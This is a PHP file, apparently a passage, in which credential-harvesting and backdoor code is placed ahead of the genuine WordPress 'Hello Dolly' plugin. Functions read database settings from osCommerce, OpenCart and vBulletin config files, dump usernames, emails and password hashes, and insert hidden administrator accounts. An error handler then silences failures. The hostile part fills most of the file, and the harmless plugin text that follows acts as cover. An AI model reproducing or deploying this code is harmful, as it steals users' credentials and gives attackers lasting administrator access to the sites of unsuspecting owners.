$ErrorMsg = $mysqli->error;
if ($ErrorMsg)
{
$result2 = mysql_query ("SELECT name,mail,pass FROM ".$tbl_preffix."users_field_data") ;
}
if($result2)
{
while ($row = $result2->fetch_assoc())
{
$usrArray[] = $row["name"].":".$row["mail"].":".$row["pass"];
}
$mysqli->close();
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
function getOSCUserI($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_DATABASE"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER_USERNAME"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER_PASSWORD"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"HTTP_SERVER"))
{$uri=$matches[4][$i];}
}
if(!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$ErrorMsg = "";
$result2 = $mysqli->query("SELECT user_name,user_password FROM administrators", $con_mss);
if($result2)
{
while ($row = $result2->fetch_assoc())
{
$usrArray[] = $row["user_name"].":".$row["user_password"];
}
$mysqli->close();
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
function setOSCUserI($cont,$u_name,$pass)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_DATABASE"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER_USERNAME"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER_PASSWORD"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"HTTP_SERVER"))
{$uri=$matches[4][$i];}
}
if(!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$result=$mysqli->query("SELECT user_name,user_password FROM administrators where user_name='$u_name' or user_password='$pass' ");
if($result->num_rows > 0)
{
$isExistUsr = false;
while($row = $result->fetch_assoc())
{
if($row["user_password"]==$pass)
{
$result->close();
$mysqli->close();
return Array("url"=>trim($uri),"user"=>$row["user_name"],"pass"=>$pass) ;
} else if($row["user_name"]==$u_name)
{
$isExistUsr = true;
}
}
if($isExistUsr)
{
$u_name = generate_password(6);
}
}
$insusrquery = $mysqli->query("INSERT INTO administrators (user_name,user_password) VALUES('$u_name','$pass') ");
if(!$insusrquery)
{
$err = $mysqli->error;
if(stristr($err,"duplicate"))
{
$u_name = generate_password(6);
$insusrquery = $mysqli->query("INSERT INTO administrators (user_name,user_password) VALUES('$u_name','$pass') ");
}
}
if($insusrquery)
{
return Array("url"=>$uri,"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
function getOPUserI($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_DATABASE"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_USERNAME"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_PASSWORD"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_HOSTNAME"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"HTTP_SERVER"))
{$uri=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_PREFIX"))
{$db_preffix=$matches[4][$i];}
}
if(!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$ErrorMsg = "";
$result2 = $mysqli->query("SELECT username,password,salt FROM ".$db_preffix."user");
if($result2)
{
while ($row = $result2->fetch_assoc())
{
$usrArray[] = $row["username"].":".$row["password"].":".$row["salt"];
}
$mysqli->close();
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
function setOPCUserI($cont,$u_name,$pass,$salt)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_DATABASE"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_USERNAME"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_PASSWORD"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_HOSTNAME"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"HTTP_SERVER"))
{$uri=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_PREFIX"))
{$db_preffix=$matches[4][$i];}
}
if(!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$result=$mysqli->query("SELECT username,password,salt FROM ".$db_preffix."user where username='$u_name' or password='$pass' ");
if($result->num_rows > 0)
{
$isExistUsr = false;
while($row = $result->fetch_assoc())
{
if($row["password"]==$pass)
{
$result->close();
$mysqli->close();
return Array("url"=>trim($uri),"user"=>$row["username"],"pass"=>$pass,"pass"=>$row["salt"]) ;
} else if($row["username"]==$u_name)
{
$isExistUsr = true;
}
}
if($isExistUsr)
{
$u_name = generate_password(6);
}
}
$dateAdd =date_create()->format('Y-m-d H:i:s') ;
$insusrquery = $mysqli->query("INSERT INTO ".$db_preffix."user (user_group_id,username,password,salt,firstname,lastname,email,image,code,ip,status,date_added) VALUES('1','$u_name','$pass','$salt','$u_name','$u_name','$u_name@gmail.com','','','','1','$dateAdd') ");
if(!$insusrquery)
{
$err = $mysqli->error;
if(stristr($err,"duplicate"))
{
$u_name = generate_password(6);
$insusrquery = $mysqli->query("INSERT INTO ".$db_preffix."user (user_group_id,username,password,salt,firstname,lastname,email,image,code,ip,status,date_added) VALUES('1','$u_name','$pass','$salt','$u_name','$u_name','$u_name@gmail.com','','','','1','$dateAdd') ");
}
}
if($insusrquery)
{
return Array("url"=>$uri,"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
function getVBUserI($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
preg_match_all('/(\[\'\w+\'\]\s*\=\s*\')([^\']+)(\'\s*\;)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[1]);$i++)
{
if(stristr($matches[1][$i],"dbname"))
{$db_name=$matches[2][$i];}
elseif(stristr($matches[1][$i],"username"))
{$db_user=$matches[2][$i];}
elseif(stristr($matches[1][$i],"password"))
{$db_pass=$matches[2][$i];}
elseif(stristr($matches[1][$i],"servername"))
{$db_host=$matches[2][$i];}
elseif(stristr($matches[1][$i],"tableprefix"))
{$tbl_preffix=$matches[2][$i];}
elseif(stristr($matches[1][$i],"baseurl"))
{$uri=$matches[2][$i];}
}
if(!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$ErrorMsg = "";
$result2 = $mysqli->query("SELECT username,email,token FROM ".$tbl_preffix."user") ;
if($result2)
{
while ($row = $result2->fetch_assoc())
{
$usrArray[] = $row["username"].":".$row["email"].":".$row["token"];
}
$mysqli->close();
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
function setVBUserI($cont,$u_name,$pass,$secret)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
preg_match_all('/(\[\'\w+\'\]\s*\=\s*\')([^\']+)(\'\s*\;)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[1]);$i++)
{
if(stristr($matches[1][$i],"dbname"))
{$db_name=$matches[2][$i];}
elseif(stristr($matches[1][$i],"username"))
{$db_user=$matches[2][$i];}
elseif(stristr($matches[1][$i],"password"))
{$db_pass=$matches[2][$i];}
elseif(stristr($matches[1][$i],"servername"))
{$db_host=$matches[2][$i];}
elseif(stristr($matches[1][$i],"tableprefix"))
{$tbl_preffix=$matches[2][$i];}
elseif(stristr($matches[1][$i],"baseurl"))
{$uri=$matches[2][$i];}
}
if(!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$result=$mysqli->query("SELECT userid,username,token FROM ".$tbl_preffix."user where username='$u_name' or token='$pass' ");
if($result->num_rows > 0)
{
$isExistUsr = false;
while($row = $result->fetch_assoc())
{
if($row["token"]==$pass)
{
$result->close();
$mysqli->close();
return Array("url"=>trim($uri),"user"=>$row["username"],"pass"=>$pass) ;
} else if($row["username"]==$u_name)
{
$isExistUsr = true;
}
}
if($isExistUsr)
{
$u_name = generate_password(6);
}
$result->close();
}
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."user (usergroupid,username,token,email,scheme,secret) VALUES('6','$u_name','$pass','$u_name@gmail.com','blowfish:10','$secret') ");
if(!$insusrquery)
{
$err = $mysqli->error;
if(stristr($err,"duplicate"))
{
$u_name = generate_password(6);
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."user (usergroupid,username,token,email,scheme,secret) VALUES('6','$u_name','$pass','$u_name@gmail.com','blowfish:10','$secret') ");
}
}
if($insusrquery)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
function ErrHandler($errno, $errstr, $errfile=null, $errline=null, array $errcontext=array())
{
return true;
}
/**
* @package Hello_Dolly
* @version 1.7.2
*/
/*
Plugin Name: Hello Dolly
Plugin URI: http://wordpress.org/plugins/hello-dolly/
Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
Author: Matt Mullenweg
Version: 1.7.2
Author URI: http://ma.tt/
*/
function hello_dolly_get_lyric() {
/** These are the lyrics to Hello Dolly */
$lyrics = "Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
I feel the room swayin'
While the band's playin'
One of our old favorite songs from way back when
So, take her wrap, fellas
Dolly, never go away again
Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
I feel the room swayin'
While the band's playin'
One of our old favorite songs from way back when
So, golly, gee, fellas
Have a little faith in me, fellas
Dolly, never go away
Promise, you'll never go away
Dolly'll never go away again";
// Here we split it into lines.
$lyrics = explode( "\n", $lyrics );
// And then randomly choose a line.
return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] );
}
// This just echoes the chosen line, we'll position it later.
function hello_dolly() {
$chosen = hello_dolly_get_lyric();
$lang = '';
if ( 'en_' !== substr( get_user_locale(), 0, 3 ) ) {
$lang = ' lang="en"';
}
printf(
'<p id="dolly"><span class="screen-reader-text">%s </span><span dir="ltr"%s>%s</span></p>',
__( 'Quote from Hello Dolly song, by Jerry Herman:' ),
$lang,
$chosen
);
}
// Now we set that function up to execute when the admin_notices action is called.
add_action( 'admin_notices', 'hello_dolly' );
// We need some CSS to position the paragraph.
function dolly_css() {
echo "
<style type='text/css'>
#dolly {
float: right;
padding: 5px 10px;
margin: 0;
font-size: 12px;
line-height: 1.6666;
}
.rtl #dolly {
float: left;
}
.block-editor-page #dolly {
display: none;
}
@media screen and (max-width: 782px) {
#dolly,
.rtl #dolly {
float: none;
padding-left: 0;
padding-right: 0;
}
}
</style>
";
}
add_action( 'admin_head', 'dolly_css' );